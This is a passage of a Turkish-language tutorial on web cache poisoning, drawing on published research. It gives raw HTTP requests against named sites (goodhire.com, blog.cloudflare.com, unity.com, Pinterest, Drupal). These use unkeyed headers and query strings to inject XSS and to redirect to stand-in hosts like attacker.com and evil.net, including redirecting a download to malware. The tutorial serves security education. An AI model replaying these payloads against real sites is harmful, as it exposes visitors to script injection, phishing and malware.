<p>Alınan çıktından anlaşıldığı üzere <a href="http://goodhire.com/">Goodhire.com</a> HubSpot’ta barındırılıyor ve HubSpot, <code class="language-plaintext highlighter-rouge">X-Forwarded-Server</code> başlığına <code class="language-plaintext highlighter-rouge">Host</code> başlığından daha fazla öncelik veriyor ve bu durum isteğin hangi istemciye yönelik olduğu konusunda kafa karışıklığı yaratıyor.</p>

<p>Bu durumdan yararlanmak için hubspot.com’a gitmemiz, kendimizi bir HubSpot istemcisi olarak kaydetmemiz, HubSpot sayfamıza bir XSS payload eklememiz ve ardından son olarak HubSpot’u goodhire.com’da bu yanıtı sunması için kandırmamız gerekiyor:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET / HTTP/1.1
Host: www.goodhire.com
<span style="color:DodgerBlue">X-Forwarded-Host: portswigger-labs-4223616.hs-sites.com</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
…
<span style="color:DodgerBlue">&lt;script&gt;alert<span class="o">(</span>document.domain<span class="o">)</span>&lt;/script&gt;</span>
</code></pre></div></div>

<p>Servis cloudflare ile önbellek tutuğu için bu zararlı yanıt önbellek üzerinden sonraki ziyaretçilere sunulmuş oldu.</p>

<h3 id="gizli-yönlendirme-zehirlemesi">Gizli Yönlendirme Zehirlemesi</h3>

<p>Yönlendirme zehirlemesi açıkları her zaman bir önceki örnekte olduğu kadar aşikar olmayabilir:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET / HTTP/1.1
Host: blog.cloudflare.com
<span style="color:DodgerBlue">X-Forwarded-Host: test-degeri</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 302 Found
Location: https://ghost.org/fail/ 
</code></pre></div></div>

<p>Cloudflare’ın blog’unun Ghost üzerinde barındırıldığını ve <code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> başlığının da Ghost üzerinde bir etkisi(fail yanıtı döndü) olduğunu aldığımız çıktıdan görebiliyoruz. Eğer hata yönlendirmesinden kaçınmak isterseniz <a href="http://blog.binary.com">blog.binary.com</a> gibi bilinen bir blog adresini host olarak belirtebilirsiniz. Ancak tuhaf bir biçimde bu yalnızca 10 saniyelik gizemli bir gecikme ve ardından standaert <a href="http://blog.cloudflare.com">blog.cloudflare.com</a> yanıtı ile sonuçlanır.</p>

<p>Yeni bir kullanıcı Ghost üzerinde ilk kez blog kaydettirdiğinde, <a href="http://ghost.io">ghost.io</a> altında benzersiz bir alt alan adı üretiliyor. Tabii bu kullanıcı dilerse bu mevcut blog için <a href="http://blog.cloudflare.com/">blog.cloudflare.com</a> gibi isteğe bağlı bir özel alan adı tanımlayabilir. Bir kullanıcı özel bir alan adı tanımladıysa, <a href="http://ghost.io/">Ghost.io</a> alt alanı basitçe bu alana yönlendirilecektir:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET / HTTP/1.1
Host: alan-adi.ghost.io
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 302 Found
Location: http://ozel-alan-adi.blog/
</code></pre></div></div>

<p>En önemlisi, aslında bu yönlendirme <code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> başlığı kullanılarak da tetiklenebilir:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: alan-adi.ghost.io
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 302 Found
Location: http://ozel-alan-adi.blog/
</code></pre></div></div>

<p>Bu sayede aslında <a href="http://ghost.org">ghost.org</a> üzerinde bir hesap oluşturup kendi özel alan adımı tanımlayacak olursam, <a href="http://blog.cloudflare.com">blog.cloudflare.com</a> isteklerini <code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> başlığını kullanılarak kendi siteme yönlendirmem mümkün oluyor. Bu isteği önbelleğe kaydedecek olursam, tüm ziyaretçileri benim adresime yönlendirebilirim.</p>

<h3 id="anahtarsız-girişlerin-zincirlenmesi">Anahtarsız Girişlerin Zincirlenmesi</h3>

<p>Bazı durumlarda, anahtar olarak kullanılmayan girdiler, uygulama yanıtı üzerinde küçük bir parçada bulunur.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /en HTTP/1.1
Host: redacted.net
<span style="color:DodgerBlue">X-Forwarded-Host: xyz</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Set-Cookie: <span class="nv">locale</span><span class="o">=</span>en<span class="p">;</span> <span class="nv">domain</span><span class="o">=</span><span style="color:DodgerBlue">xyz</span>
</code></pre></div></div>

<p>Gördüğünüz gibi <code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> başlığı, sunucunun çerezleri (<code class="language-plaintext highlighter-rouge">Set-Cookie</code>) belirli bir domaine (<code class="language-plaintext highlighter-rouge">xyz</code>) ayarlamasına neden oluyor. Ancak, yanıt içindeki URL’ler değiştirilmemiş. Tek başına bu bilgi, saldırı yapmak için yeterli değil.
Bu durumdan yararlanmak için diğer anahtar olarak kullanılmayan girişlerle bu anahtarsız girişi birleştirmemiz gerekebilir.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Scheme: nothttps
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Moved Permanently
Location: https://redacted.net/en
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">X-Forwarded-Scheme: nothttps</code> başlığı, sunucunun yönlendirme yanıtı sunmasına sebep oluyor ancak hedef domain değişmiyor. Tek başına bu bilgi de saldırı yapmak için yeterli değil.
Ancak ikisini birleştirirsek, sunucu yanıtının <code class="language-plaintext highlighter-rouge">Location</code> başlığını değiştirebiliriz ve bu, saldırganın kontrol ettiği bir domain’e yönlendirme sağlar.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/en 
</code></pre></div></div>

<p>Bu tekniği kullanarak bir POST isteğini yeniden yönlendirerek CSRF tokenlerini düzenlenmiş olan HTTP başlığından çalmak mümkündür.(Tabii CORS müsade ediyorsa.) Ayrıca, daha önce bahsedilen <a href="http://data.gov/">data.gov</a> üzerindeki zafiyete benzer şekilde, JSON olarak XSS yükü ekleyerek DOM based stored XSS’yi de elde etmek mümkündür.</p>

<h3 id="open-graph-hijacking"><strong>Open Graph Hijacking</strong></h3>

<p>Open graph protokolü, websitelerinin içeriklerinin sosyal medyada paylaşıldığında nasıl görüneceğinin belirlenmesini sağlar.</p>

<p>Örneğin anahtar olarak kullanılmayan <code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> başlığı Open Graph URL adresini değiştiriyor:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /en HTTP/1.1
Host: redacted.net
<span style="color:DodgerBlue">X-Forwarded-Host: attacker.com</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Cache-Control: max-age<span class="o">=</span>0, private, must-revalidate
…
&lt;meta <span class="nv">property</span><span class="o">=</span><span class="s2">"og:url"</span> <span class="nv">content</span><span class="o">=</span><span class="s1">'https://<span style="color:DodgerBlue">attacker.com</span>/en'</span>/&gt;
</code></pre></div></div>

<p>Burada ele geçirdiğimiz <strong>og:url</strong> parametresi, paylaşılan URL’yi etkili bir şekilde geçersiz kılar, böylece bu sayfayı paylaşan herkes aslında bizim seçtiğimiz içeriği paylaşmış olur.</p>

<p>Yanıta dikkat edecek olursanız, web uygulaması <code class="language-plaintext highlighter-rouge">Cache-Control: private</code> ile Cloudflare’in önbelleğe almamasını sağlıyor. Fakat websitesindeki diğer bazı sayfalar önbelleğe alındığı için bu zafiyeti o sayfalar üzerinden gerçekleştirmek mümkün.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /popularPage HTTP/1.1
Host: redacted.net
X-Forwarded-Host: evil.com
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Cache-Control: public, max-age<span class="o">=</span>14400
Set-Cookie: <span class="nv">session_id</span><span class="o">=</span>942…
CF-Cache-Status: MISS
</code></pre></div></div>

<p>Buradaki ‘<code class="language-plaintext highlighter-rouge">CF-Cache-Status</code>’ başlığı, Cloudflare’in bu yanıtı önbelleğe almayı düşündüğünün bir göstergesi, ancak buna rağmen yanıt aslında hiçbir zaman önbelleğe alınmıyor. Araştırmacı, Cloudflare’in bunu önbelleğe almayı reddetmesinin <strong>session_id</strong> çereziyle ilgili olabileceğini tahmin edip bu çerez mevcutken yeniden denemiş:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /popularPage HTTP/1.1
Host: redacted.net
Cookie: <span class="nv">session_id</span><span class="o">=</span>942…<span class="p">;</span>
X-Forwarded-Host: attacker.com
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Cache-Control: public, max-age<span class="o">=</span>14400
CF-Cache-Status: HIT
…
&lt;meta <span class="nv">property</span><span class="o">=</span><span class="s2">"og:url"</span> 
<span class="nv">content</span><span class="o">=</span><span class="s1">'https://attacker.com/…
</span></code></pre></div></div>

<p>Böylelikle yanıt önbelleğe alınmış oldu. Ayrıca araştırmacı, tahmin etmeye çalışmak yerine Cloudflare önbellek dokümantasyonlarının okunması gerektiğine de vurgu yapıyor.</p>

<p>Bu yanıt önbelleğe alınmış olmasına karşın, Facebook üzerindeki “share” özelliği, önbellekteki yanıtı dikkate almıyor. Hangi önbelleğin işe yarayacağını tanımlayabilmek üzere Cloudflare sitesinin debug özelliği olan /cdn-cgi/trace kullanılabilir.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning/facebook-share.png" alt="facebook-share" class="responsive img-zoomable" /></p>

<p>Burada <code class="language-plaintext highlighter-rouge">colo=AMS</code> satırı Facebook’un <a href="http://waf.party/">waf.party</a>‘e Amsterdam’daki bir önbellek üzerinden eriştiğini gösteriyor. Hedef web sitesine Atlanta aracılığıyla erişildiği için, oradan ayda 2 ABD doları tutarında bir VPS kiralayıp ve zehirlenmeyi tekrar denemiş araştırmacı:</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning/vps-cache-test.png" alt="vps-cache-test" class="responsive img-zoomable" /></p>

<h3 id="lokal-yönlendirme-zehirlemesi">Lokal Yönlendirme Zehirlemesi</h3>

<p>James Kettle, araştırması sırasında php uygulamalarının yaygın olarak desteklediği <code class="language-plaintext highlighter-rouge">X-Original-URL</code> ve <code class="language-plaintext highlighter-rouge">X-Rewrite-URL</code> gibi http başlıkları keşfetmiş. Bunların WAF atlatmada kullanılabileceğini de bizzat deneyimlemiş.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /admin HTTP/1.1
Host: unity.com
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 403 Forbidden
...
Access is denied
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /anything HTTP/1.1
Host: unity.com
X-Original-URL: /admin
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
...
Please log <span class="k">in</span>
</code></pre></div></div>

<p>Bir uygulama önbellek kullanıyorsa, bu başlıklar yanlış sayfaların sunulmasına neden olacak şekilde kötüye kullanılabilir. Örneğin, aşağıdaki isteğin /education?x=y önbellek anahtarı vardır ancak içeriği /gambling?x=y’den alır:</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning/local-redirect.png" alt="local-redirect" class="responsive img-zoomable" /></p>

<p>Sonuçta bu isteği gönderdikten sonra Unity for Education sayfasına erişmeye çalışan herkes bir sürprizle karşılaşıyor:</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning/unity-page.png" alt="unity-page" class="responsive img-zoomable" /></p>

<p>Tek başına sayfaların yerini değiştirmek risk teşkil etmese de yerine göre kritik güvenlik açıkları için bir adım olarak kullanılabilir.</p>

<h3 id="dahili-önbellek-zehirlenmesi">Dahili Önbellek Zehirlenmesi</h3>

<p>Drupal genellikle Varnish gibi üçüncü taraf önbelleklerle kullanılır, ancak aynı zamanda varsayılan olarak etkin olan dahili bir önbellek mekanizması da içerir. Bu önbellek, <code class="language-plaintext highlighter-rouge">X-Original-URL</code> başlığının farkındadır ve onu önbellek anahtarına ekler, ancak bu başlıktaki sorgu dizesini de dahil etme hatasına düşer:</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-poisoning/local-cache.png" alt="local-cache" class="responsive img-zoomable" /></p>

<p>Önceki saldırı bir yolu başka bir yolla değiştirmemize izin verirken, bu saldırı sorgu dizesini geçersiz kılmamıza olanak tanıyor:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /search/node?keys<span class="o">=</span>kittens HTTP/1.1
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
…
Search results <span class="k">for</span> <span class="s1">'snuff'</span>
</code></pre></div></div>

<p>Bu daha umut verici ama yine de oldukça sınırlı; üçüncü bir bileşene ihtiyacımız var.</p>

<h3 id="drupal-open-redirect"><strong>Drupal Open Redirect</strong></h3>

<p>Araştırmacı Drupal’ın URL-override kodunu okurken, “destination” sorgu parametresini kullanarak yönlendirme hedefini geçersiz kılabileceğini fark etmiş. Drupal harici bir alana yönlendirmeyi önlemek için URL ayrıştırması uygular fakat bunu atlamak da mümkündür:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET //?destination<span class="o">=</span>https://evil.net<span class="se">\@</span>unity.com/ HTTP/1.1
Host: unity.com
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 302 Found
Location: https://evil.net<span class="se">\@</span>unity.com/
</code></pre></div></div>

<p>Drupal, path üzerinde çift eğik çizgiyi <code class="language-plaintext highlighter-rouge">//</code> normalleştirmek için <code class="language-plaintext highlighter-rouge">/</code>’ye dönüştürür, ancak ardından “<strong>destination</strong>” parametresi devreye girer. Drupal, hedef URL’nin ‘<strong>evil.net</strong>’ kullanıcı adıyla <strong>unity.com</strong>‘a işaret ettiğini düşünür.  Ancak pratikte web tarayıcıları <code class="language-plaintext highlighter-rouge">\</code>‘yi otomatik olarak <code class="language-plaintext highlighter-rouge">/</code>‘ye dönüştürerek kullanıcıları <a href="http://evil.net/@unity.com">evil.net/@unity.com</a> adresine yönlendirir. Esasen Open redirect tek başına pek heyecan verici değildir, ancak artık ciddi bir zafiyet istismarı için gerekli tüm yapı taşlarına nihayet sahibiz.</p>

<h3 id="kalıcı-yönlendirme-kaçakçılığıhijacking">Kalıcı Yönlendirme Kaçakçılığı(Hijacking)</h3>

<p>Parametrenin üzerine yazma açığı ile open redirect açığını birlikte kullanarak kalıcı yönlendirme kaçakçılığına sebep olmak mümkün.</p>

<p>Pinterest’in bussines web sitesindeki belirli sayfalar, yönlendirme yoluyla JavaScript’i içe aktarıyor. Aşağıdaki istek, mavi renkle gösterilen önbellek girdisini turuncu renkle gösterilen parametreyle zehirler:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET <span style="color:coral">/?destination<span class="o">=</span>https://evil.net<span class="se">\@</span>business.pinterest.com/</span> HTTP/1.1
Host: business.pinterest.com
X-Original-URL: <span style="color:DodgerBlue">/foo.js?v<span class="o">=</span>1</span>
</code></pre></div></div>

<p>Bu, JavaScript içe aktarma işleminin hedefini ele geçiriyor ve <a href="http://business.pinterest.com/">business.pinterest.com</a>‘da statik olması gereken birkaç sayfa üzerinde tam kontrol imkanı sağlıyor:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /foo.js?v<span class="o">=</span>1 HTTP/1.1
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 302 Found
Location: https:/<span style="color:coral">/evil.net<span class="se">\@</span>unity.com/</span>
</code></pre></div></div>

<h3 id="i̇ç-içe-önbellek-zehirlenmesi">İç içe Önbellek Zehirlenmesi</h3>

<p>Diğer Drupal siteleri genellikle yönlendirmeler yoluyla herhangi bir önemli kaynağı içe aktarmaz. Fakat site harici bir önbellek kullanıyorsa (hemen hemen tüm yüksek trafikli Drupal siteleri gibi), harici önbelleği zehirlemek için dahili önbelleği kullanabiliriz ve bu süreçte herhangi bir yanıtı yeniden yönlendirmeye dönüştürebiliriz. Bu iki aşamalı bir saldırıdır. İlk olarak, <strong>/redir</strong>‘i kötü amaçlı yönlendirmemizle değiştirmek için dahili önbelleği zehirliyoruz:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?destination<span class="o">=</span>https://evil.net<span class="se">\@</span>store.unity.com/ HTTP/1.1
Host: store.unity.com
X-Original-URL: /redir
</code></pre></div></div>

<p>Daha sonra, <strong>/download?v=1</strong>‘i önceden zehirlenmiş <strong>/redir</strong>‘imizle değiştirmek için harici önbelleği zehirliyoruz:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /download?v<span class="o">=</span>1 HTTP/1.1
Host: store.unity.com
X-Original-URL: /redir
</code></pre></div></div>

<p>Sonuç olarak, unity.com’da ‘setup indir’e tıklamak, evil.net’ten kötü amaçlı yazılımların indirilmesine neden olur. Bu teknik aynı zamanda RSS akışlarına sahte girişler eklemek, oturum açma sayfalarını kimlik avı sayfalarıyla değiştirmek ve dinamik script üzerinden stored XSS’i de içeren çok sayıda başka saldırı için de kullanılabilir.</p>

<p>Bu zafiyet 2018-05-29 tarihinde Drupal, Symfony ve Zend ekiplerine bildirilip  <a href="https://www.drupal.org/SA-CORE-2018-005">SA-CORE-2018-005</a>, <a href="https://symfony.com/blog/cve-2018-14773-remove-support-for-legacy-and-risky-http-headers">CVE-2018-14773</a>, <a href="https://framework.zend.com/security/advisory/ZF2018-01">ZF2018-01</a> referans numaraları tanımlanmıştır.</p>

<p>Olası yaklaşımlar konusunda gözümüzü açması açından güzel bir örnek.</p>

<p>Şimdiye kadar ele aldığımız pratik yaklaşımlara ek olarak aşağıdaki araştırmayı da kısaca dahil ederek devam edebilliriz</p>

<p><a href="https://portswigger.net/research/web-cache-entanglement">https://portswigger.net/research/web-cache-entanglement</a></p>

<h2 id="önbellek-testi">Önbellek Testi</h2>

<p>Önbellek mekanizmasının nasıl çalıştığını anlamak için önbellek mekanizmasının kullanıldığından emin olduğumuz bir nokta üzerinde testlerimizi gerçekleştirmemiz gerekiyor.</p>

<p>Testler sırasında önbellek durumunu takip etmemizi sağlayacak <strong>HIT MISS</strong> gibi dönüşlerin yanı sıra yanıt süresi de önbellek işlemi hakkında bize ipucu veriyor olacak.</p>

<h3 id="anahtarın-kullanımını-keşfetmek">Anahtarın Kullanımını Keşfetmek</h3>

<p>Önbellek testi gerçekleştirebileceğimiz noktayı belirledikten sonra, bir dizi istek ile önbellek anahtarlarının kaydedilme esnasında girdiler üzerinde dönüşüm uygulanıp uygulanmadığını test etmemiz gerek. Genellikle belirli query parametreleri veya query dizesinin tamamı silinebiliyor veya <code class="language-plaintext highlighter-rouge">Host</code> başlıkları silinip URL ayrıştırma uygulanabiliyor. Yani önbellek anahtarı olarak kullanılan değerler de bir takım dönüşümler geçirdikten sonra nihai anahtar halini alıyorlar.</p>

<p>Test etmek için her sorguda bir başka küçük değişiklik yaparak yanıtları kontrol etmemiz gerek. Örnek olarak <code class="language-plaintext highlighter-rouge">Host</code> başlığını yanıtta yansıtan bir servisi ele alalım:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET / HTTP/1.1
Host: redacted.com
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Moved Permanently
Location: https://redacted.com/en
CF-Cache-Status: MISS
</code></pre></div></div>

<p>Gördüğünüz gibi <code class="language-plaintext highlighter-rouge">Host</code> başlığındaki değer yanıtta bulunuyor. Denemek için port bilgisini değiştirip gönderelim:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET / HTTP/1.1
Host: redacted.com:1337
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1337/en
CF-Cache-Status: MISS
</code></pre></div></div>

<p>Şimdi port bilgisini silip tekrar orijinal isteği gönderelim:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET / HTTP/1.1
Host: redacted.com
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1337/en
CF-Cache-Status: HIT
</code></pre></div></div>

<p>Bu yanıt sayesinde port adresinin önbellek anahtarı olarak <strong>kullanılmadığını</strong> teyit etmiş olduk. Bu sayede ana sayfaya ulaşmak isteyen kullanıcılar önbellek dolayısıyla olmayan bir port adresine istek gönderecekleri için önbellekten yanıt dönülen kullanıcılar servise erişemeyecekler.</p>

<p class="mavi"><strong>ℹ️ Not:</strong> Buradaki örnekte, isteğin önbelleğe alınması için servisin hangi zaman veya koşulda önbellekleme yaptığı detayı göz ardı edilmiştir. Her isteğin her zaman önbelleğe alınmadığından daha önce bahsetmiştik. Burada örneği basit tutmak adına doğrudan sonuçlar gösteriliyor.</p>

<p>Web cache açıklarını dikkate değer kılmak için web servisinin sunduğu çeşitli özelliklerle birlikte akıllıca tetiklenecek hale getirmemiz gerek. Anlatım sırasında bu duruma dair örnekleri ele alacağız.</p>

<p>Örneğin XSS açıklarını stored formuna getirmemiz, dinamik olarak oluşturulan JS vs CSS kaynaklarını manipüle etmemiz ve standart tarayıcıların göndermeyeceği normalde “sömürülemez” kabul edilen açıklardan yararlanmamız mümkün olacak.</p>

<h3 id="anahtar-olarak-kullanılmayan-query-tespiti">Anahtar Olarak Kullanılmayan “Query” Tespiti</h3>

<p>Çoğu önbellek anahtar mekanizması “query” yani sorgu dizesinin tamamını önbellek anahtarı olarak ele almaz.</p>

<p>Test etmek için bir parametrenin değerini değiştirerek ve yanıtlardaki bazı farklılıkları gözlemleyerek çoğu dinamik sayfayı kolayca tanıyabilirsiniz.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?q<span class="o">=</span><span style="color:DodgerBlue">canary</span> HTTP/1.1
Host: example.com
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
&lt;<span class="nb">link </span><span class="nv">rel</span><span class="o">=</span><span class="s2">"canonical"</span> <span class="nv">href</span><span class="o">=</span><span class="s2">"https://example.com/?q=<span style="color:DodgerBlue">canary</span>"</span>
</code></pre></div></div>

<p>Ancak bu yaklaşım, query sorgu dizesi önbellek anahtarı için kullanılmıyorsa işe yaramaz. Bu durumda, fazladan bir önbellek bozucu parametresi eklemenin bile hiçbir etkisi olmayacaktır. Aşağıdakiler, query’nin önbellek anahtarı olarak kullanılmadığı duruma örnek:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?q<span class="o">=</span><span style="color:DodgerBlue">canary&amp;cachebuster<span class="o">=</span>1234</span> HTTP/1.1
Host: example.com
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
CF-Cache-Status: HIT

&lt;<span class="nb">link </span><span class="nv">rel</span><span class="o">=</span><span class="s2">"canonical"</span> <span class="nv">href</span><span class="o">=</span><span class="s2">"https://example.com/
</span></code></pre></div></div>
<p>Eğer query, önbellek üretimi için kullanılıyor olsaydı <strong><em>canary&amp;cachebuster=1234</em></strong> dizesi yeni bir önbellek oluşturacaktı, ancak böyle olmadığını çıktıdan görebiliyoruz.</p>

<p>Sayfa, önbelleğe alma işleminin ne zaman gerçekleştiğini açıkça belirtmediği sürece, buradaki güvenlik açığını fark etmek özellikle otomatik tarama yapan araçlar ile zordur.</p>

<p>Bu noktada önbellek anahtarı olarak kullanılan diğer bileşenleri değiştirerek, yeniden önbelleğe almaya zorlayabiliriz.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?q<span class="o">=</span><span style="color:DodgerBlue">canary&amp;cachebust<span class="o">=</span>nwf4ws</span> HTTP/1.1
Host: example.com
Accept-Encoding: <span class="nb">gzip</span>, deflate, <span style="color:DodgerBlue">nwf4ws</span>
Accept: <span class="k">*</span>/<span class="k">*</span>, <span style="color:DodgerBlue">text/nwf4ws</span>
Cookie: <span class="nv"><span style="color:DodgerBlue">nwf4ws</span><span class="o">=</span>1</span>
Origin: <span style="color:DodgerBlue">https://nwf4ws.example.com</span>
</code></pre></div></div>

<p>Bu yaklaşım bazı sistemlerde harika çalışır; örneğin, Cloudflare çalıştıran siteler, varsayılan olarak <code class="language-plaintext highlighter-rouge">Origin</code>‘i önbellek anahtarına ekler. Bu gibi önbellek anahtarı olarak kullanılan başlıklarda değişimler yaparak yeni ve benzersiz önbellek oluşumunu tetikleyebiliriz. Ancak bu yaklaşım mükemmel değildir; bazı siteler önbellek anahtarlarında bu başlıkların hiçbirini içermez ve diğer sitelerde önbellek bozucularımız bazı şeyleri bozabilir.</p>

<p>Buradaki amacımız önbellek mekanizmasını test ederken benzersiz bir önbellek yanıtı ile sistemi tanımamız. Bu sebeple önbellek mekanizmasını sıfırlamak için aslında <code class="language-plaintext highlighter-rouge">PURGE</code> ve <code class="language-plaintext highlighter-rouge">FASTLPURGE</code>(fastly üzerinde) HTTP metotları sayesinde  önbelleklerin sıfırlanmasını talep de edebiliriz. Bu sayede var olan önbelleklerden kurtulup yenilerini oluşturarak sistemi tanımaya devam edebiliriz.</p>

<p>Bir diğer yöntem size pek çok önbellek mekanizması anahtar olarak path yani URL yolunu kullandığı için backend sistemine göre yolun normalleştirildiği farklı karakterleri kullanabiliriz. Aşağıdaki örnekler dört farklı sistemde <code class="language-plaintext highlighter-rouge">/</code> yoluna işaret ediyor aslında:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Apache: //
Nginx: /%2F
PHP: /index.php/xyz
.NET: /<span class="o">(</span>A<span class="o">(</span>xyz<span class="o">))</span>/
</code></pre></div></div>

<p>Örneğin apache üzerinde <code class="language-plaintext highlighter-rouge">/</code> yoluna işaret etmek üzere <code class="language-plaintext highlighter-rouge">//</code> kullandığımızda sunucu arka tarafta bunu normalize ederek <code class="language-plaintext highlighter-rouge">/</code> haline getirecek. Fakat aradaki önbellek sunucusu bunu <code class="language-plaintext highlighter-rouge">//</code> olarak ele alacağı için farklı bir önbellek anahtarı gibi görecek.</p>

<h3 id="anahtar-olarak-kullanılmayan-queryden-yararlanmak">Anahtar Olarak Kullanılmayan Query’den Yararlanmak</h3>

<p>Örneğin aşağıdaki istek, gazetedeki her sayfada XSS’e yol açan bir query yansıtması barındırıyor. XSS payload’ı query kısmına girdiğimizde yanıta eklendiği için zararlı kod yanıtta yer alıyor.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET //?<span style="color:DodgerBlue"><span class="s2">"&gt;&lt;script&gt;alert(1)&lt;/script&gt;</span> HTTP/1.1
Host: redacted-newspaper.net
</span></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
&lt;meta <span class="nv">property</span><span class="o">=</span><span class="s2">"og:url"</span> <span class="nv">content</span><span class="o">=</span><span class="s2">"//redacted-newspaper.net//?x"</span><span style="color:DodgerBlue"><span class="o">&gt;</span>&lt;script&gt;alert<span class="o">(</span>1<span class="o">)</span>&lt;/script&gt;<span class="s2">"/&gt;</span>
</span></code></pre></div></div>

<p>Burada query, önbellek anahtarı olarak kullanılmadığı için <strong>//</strong> adresine istek atan kullanıcılar XSS yüküne maruz kalacaklar. Buradaki ikinci <code class="language-plaintext highlighter-rouge">/</code> işareti aslında site üzerindeki herkesi XSS yüküne maruz bırakmamak için yani güvenli test için mevcut. <code class="language-plaintext highlighter-rouge">PURGE</code> ile önbelleği temizleyip <code class="language-plaintext highlighter-rouge">/</code> adresinin bu yük ile önbelleğe alınmasını sağlarsak herkes bu XSS yüküne maruz kalacaktır.</p>

<h3 id="yönlendirme-ile-dos">Yönlendirme ile DoS</h3>

<p>Anahtar olarak kullanılmayan query olduğunda ama XSS yükü yanıtlara yansıtılmadığında DoS yöntemi olarak kullanımı mümkün olabilir.</p>

